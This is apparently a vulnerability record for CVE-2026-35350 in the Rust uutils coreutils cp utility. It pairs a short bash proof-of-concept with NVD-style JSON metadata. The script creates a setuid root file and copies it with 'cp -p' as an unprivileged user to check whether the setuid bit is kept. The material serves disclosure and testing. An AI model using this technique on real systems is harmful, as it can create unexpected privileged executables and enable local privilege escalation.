CVE-2026-35350

#!/bin/bash # PoC for CVE-2026-35350: uutils coreutils cp setuid retention # Preparation: Create a setuid root file as root echo "echo 'If this prints, exploit worked'" > /tmp/target_file chmod 4755 /tmp/target_file chown root:root /tmp/target_file # Exploitation: Run as a non-privileged user (e.g., 'nobody' or regular user) # The user attempts to copy the file preserving permissions cp -p /tmp/target_file ~/owned_exploit # Verification # Check the permissions of the copied file # Expected secure behavior: permissions should be 0755 (setuid bit cleared) # Vulnerable behavior: permissions are 4755 (setuid bit retained), owned by user ls -l ~/owned_exploit # Cleanup (run as root) rm /tmp/target_file

{"cve": {"id": "CVE-2026-35350", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:37.327", "lastModified": "2026-04-24T19:04:01.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The cp utility in uutils coreutils fails to properly handle setuid and setgid bits when ownership preservation fails. When copying with the -p (preserve) flag, the utility applies the source mode bits even if the chown operation is unsuccessful. This can result in a user-owned copy retaining original privileged bits, creating unexpected privileged executables that violate local security policies. This differs from GNU cp, which clears these bits when ownership cannot be preserved."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-281"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/9750", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/9750", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}